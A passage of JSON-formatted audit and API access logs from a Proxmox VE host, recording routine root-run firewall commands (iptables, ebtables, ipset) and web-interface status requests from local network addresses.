a0=\"ebtables-restore\""} {"@timestamp":1781965038226,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.226:63735): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdfadb4340 a1=620c1dc70710 a2=620c17225c10 a3=b items=1 ppid=61149 pid=61151 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=7461736B20555049443A7076653A30 exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964332632,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1075"} {"@timestamp":1781964195431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.431:59990): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8a70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57608 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205709,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.709:68884): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fbb80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66152 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515132,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:13 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 906"} {"@timestamp":1781964595152,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.152:61690): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965719058,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965719.058:66810): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64170 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205726,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.726:68887): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965036566,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.566:63733): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964331646,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964195425,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.425:59989): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57607 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205703,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.703:68883): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae45e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66151 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965514010,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964595146,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.146:61689): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965719058,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965719.058:66809): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64170 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205720,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.720:68886): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965036566,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.566:63732): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964330607,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 845"} {"@timestamp":1781964195419,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.419:59988): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57606 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205695,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.695:68882): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66150 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965514010,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:13 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964595143,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.143:61688): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965715543,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.543:66805): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe6d1aaf00 a1=58718875a3d0 a2=587188738680 a3=5 items=1 ppid=64163 pid=64164 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205715,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.715:68885): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965036558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.558:63730): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964328610,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1075"} {"@timestamp":1781964195415,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.415:59987): arch=c000003e syscall=59 success=yes exit=0 a0=647a32705b60 a1=647a32711e40 a2=647a326df680 a3=5 items=2 ppid=57599 pid=57605 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205687,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.687:68881): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66149 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965514010,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:12 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964595139,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.139:61687): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965715428,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.428:66787): arch=c000003e syscall=59 success=no exit=-2 a0=7ffca2263010 a1=59db81057200 a2=59db81035680 a3=5 items=1 ppid=64144 pid=64145 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205709,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.709:68884): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965036558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.558:63729): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964327600,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781964195412,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.412:59986): arch=c000003e syscall=59 success=yes exit=0 a0=647a1c9eaac8 a1=7ffd876c8990 a2=647a326df680 a3=647a1c9ce24e items=2 ppid=57599 pid=57601 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.683:68880): arch=c000003e syscall=59 success=yes exit=0 a0=5e9cd5b7d0a0 a1=5e9cd5b79e20 a2=5e9cd5b5b680 a3=5 items=2 ppid=66142 pid=66148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965514010,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:12 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964595139,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.139:61686): argc=1 a0=\"date\""} {"@timestamp":1781965714047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965714.047:66776): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64133 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205703,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.703:68883): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965036033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.033:63725): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe6b84a1d0 a1=5bc22556f410 a2=5bc22554d680 a3=5 items=1 ppid=61137 pid=61138 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964324679,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781964195411,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.411:59985): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd876c8950 a1=647a32701200 a2=647a326df680 a3=5 items=2 ppid=57599 pid=57600 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205679,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.679:68879): arch=c000003e syscall=59 success=yes exit=0 a0=5e9cc5299ac8 a1=7ffd891b80e0 a2=5e9cd5b5b680 a3=5e9cc527d24e items=2 ppid=66142 pid=66144 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965514010,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:12 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 908"} {"@timestamp":1781964595134,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.134:61684): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965714047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965714.047:66775): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64133 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205695,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.695:68882): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965035927,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965035.927:63707): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe7861a680 a1=61b1b8788200 a2=61b1b8766680 a3=5 items=1 ppid=61116 pid=61117 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964324679,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964195407,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.407:59983): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57599 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205678,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.678:68878): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd891b80a0 a1=5e9cd5b62310 a2=5e9cd5b5b680 a3=5 items=2 ppid=66142 pid=66143 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965512928,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:12 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964595126,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.126:61683): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965714037,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965714.037:66773): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64132 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205687,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.687:68881): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965031553,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965031.553:63697): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61105 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964323660,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781964195400,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.400:59982): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57598 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205673,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.673:68876): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66142 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965512928,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:11 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781964595119,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.119:61682): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965714037,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965714.037:66772): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64132 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205683,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.683:68880): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965031553,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965031.553:63696): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61105 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964320637,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781964195394,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.394:59981): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57597 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205665,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.665:68875): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66141 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965511698,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:10 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781964595114,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.114:61681): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965709029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965709.029:66770): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64131 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205679,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.679:68879): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965031548,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965031.548:63694): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61104 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964319613,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964195389,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.389:59980): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c1f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57596 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205656,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.656:68874): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66140 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965511698,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:10 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964595107,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.107:61680): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965709029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965709.029:66769): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64131 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205678,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.678:68878): argc=1 a0=\"date\""} {"@timestamp":1781965031548,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965031.548:63693): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61104 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964318630,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 841"} {"@timestamp":1781964195382,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.382:59979): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57595 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205650,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.650:68873): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8b30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66139 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965511698,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964595101,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.101:61679): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965709023,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965709.023:66767): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64130 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205673,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.673:68876): argc=3 a0=\"/usr/bin/perl\" 